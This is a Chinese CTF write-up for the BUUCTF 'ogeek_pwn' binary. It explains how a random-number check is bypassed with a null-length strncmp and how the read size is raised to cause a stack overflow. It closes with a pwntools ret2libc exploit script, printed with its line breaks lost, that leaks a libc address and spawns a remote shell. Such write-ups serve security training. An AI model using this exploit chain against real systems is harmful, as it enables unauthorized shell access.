-
IDA分析main函数:
sub_80486BB用于进行一些初始化操作,将一个随机数赋值给fd,并将fd中的随机数读取到buf中,然后buf所谓参数传入sub_804871F进行下一步分析 -
跟进
sub_804871F进行分析:
初始化s和bufa,将buf中的随机数放到s中,通过read读取用户输入的0x20字节数据放到bufa中,然后将bufa和s中的数据进行对比,如果相同就Correct并将bufa数组的下标7位置的数据取出并作为返回值返回到main函数赋值给v2 -
跟进
sub_80487D0函数进行分析:
nbytes就是v2的值,也就是sub_804871F的返回值,如果返回值是127,那么可以读取buf的0xC8字节内容,反之就读取其他传入值大小的内容 -
查看buf栈空间:
可以看到,溢出范围是0xEB,很明显nbytes的值是127的话无法成功进行溢出,所以要大于127,0xff是255,大于0xEB(235),浏览了整个程序之后没有发现类似system、sh等可拿shell的信息,所以大致思路就是控制nbytes的值是0xff,然后再构造ROP链获取shell即可,通过上述分析可以得知nbytes就是sub_804871F的返回值,而这个返回值是bufa的下标7位置的数据 -
查看bufa的栈空间:
可以看到var_25就是bufa[7]的值,并且通过v5 = read(0, bufa, 0x20u);读取了bufa中32字节的数据,也就是到var_C的位置,所以可以覆盖var_25的位置并对其进行修改,所以现在只需要绕过这个随机数的比较就可以指定v2的值并构造ROP链
这两句首先通过strlen获取后续strncmp要对比bufa和s的长度,但是如果将这里的n设置成0,那么strncmp就会比较0个字符,所以就一直相等,绕过判断 -
EXP脚本:
from pwn import *from LibcSearcher import *p = remote("node5.buuoj.cn", 29690)elf = ELF("./ogeek_pwn")payload = b"\x00" + b"\xff" * 0x7 # \x00就是设定n是0,\xff就是设置v2是255p.sendline(payload)write_plt = elf.plt['write']write_got = elf.got['write']payload2 = b"A" * (0xE7 + 0x4) + p32(write_plt) + p32(0x8048825) + p32(1) + p32(write_got) + p32(4)p.recvuntil(b"Correct\n")p.sendline(payload2)write_addr = u32(p.recv(4)) # 获取write函数在内存中的绝对地址print(hex(write_addr))libc = LibcSearcher('write', write_addr) # 通过write函数的绝对地址找到程序对应的libc版本libc_base = write_addr - libc.dump('write')system_addr = libc_base + libc.dump('system')bin_sh_addr = libc_base + libc.dump('str_bin_sh')payload3 = b"A" * (0xE7 + 0x4) + p32(system_addr) + p32(0x08048502) + p32(bin_sh_addr)p.sendline(payload)p.recvuntil(b"Correct\n")p.sendline(payload3)p.interactive()